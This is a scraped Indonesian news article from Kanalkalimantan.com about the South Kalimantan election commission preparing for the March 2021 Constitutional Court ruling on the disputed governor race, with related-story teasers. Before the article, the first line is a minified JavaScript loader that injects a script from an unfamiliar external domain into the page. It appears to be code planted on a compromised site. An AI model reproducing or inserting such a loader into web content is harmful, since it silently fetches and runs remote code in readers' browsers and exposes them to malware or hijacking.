(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jelang putusan sidang gugatan Pilgub Kalsel di Mahkamah Konstitusi (MK) pada Jumat (19/3/2021), Komisi Pemilihan Umum (KPU) Kalsel selaku salah satu pihak tergugat, menyatakan kesiapannya menjalankan putusan hakim konstitusi.
KPU akan menjalankan hasil putusan sidang MK dalam lima hari usai adanya penetapan gugatan Pilkada yang diajukan paslon Denny Indrayana-Difriadi Darjat.
“Apa yang akan diputuskan MK nantinya akan dijalankan dalam 5 hari ke depan mulai dari penetapan hasil sidang,” kata Ketua KPU Kalsel Sarmuji, saat ditemui Kanalkimantan.com, Selasa (16/3/2021) di ruangannya.
Sarmuji menjelaskan, baik nantinya dalam keputusan MK nanti mengabulkan permintaan pemohon atau menolak.
“Termasuk jika keputusan mengharuskan Pemilihan Suara Ulang (PSU) yang jalankan,” tegasnya.
Sarmuji berharap akan bisa datang langsung dalam sidang nanti di MK, tapi jika berhalangan tentunya akan mengikuti secara daring.
Meski demikian, Sarmuji memiliki keyakinan bahwa MK akan menolak gugatan pemohon.
“Kita tunggu keputusan di MK nanti, berharap juga dalam sidang putusan nanti menolak. Kita juga sudah melakukan upaya klarifikasi, karena semua laporan dari pemohon tidak ada dasarnya,” katanya.
Sarmuji juga menegaskan hasil suara Pilgub Kalsel pada Rabu, 9 Desember 2020 lalu adalah murni dari pilihan masyarakat. Dari sisi penyelenggara, ia mengatakan sudah melakukan pdengan integritas tinggi tanpa berpihak ke dua pasangan calon Pilgub Kalsel.
“Kita integritas, dari contoh kecurangan yang di laporkan perlu diketahui si Rekap mengunci semua kecurangan, dan itu adalah murni di TPS serta juga disaksikan penyelenggara dan saksi,” terangnya.
Dalam agenda sidang putusan MK dengan nomor perkara 124/PHP.GUB- XIX/2021 dan Pokok Perkara PHP Gubernur Kalimantan Selatan Tahun 2020 dari pemohon, Denny Indrayana- Difriadi selaku paslon Nomor Urut 2 dan termohon adalah KPU Kalsel.
Sebelumnya KPU Kalsel menetapkan total perolehan suara pasangan Sahbirin-Muhidin sebanyak 851.822 suara. Sementara pasangan Denny-Difriadi mengantongi 843.695 suara. Selisih suara keduanya 8.127 suara atau kurang dari 1 persen.(Kanalkalimantan.com/putra)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.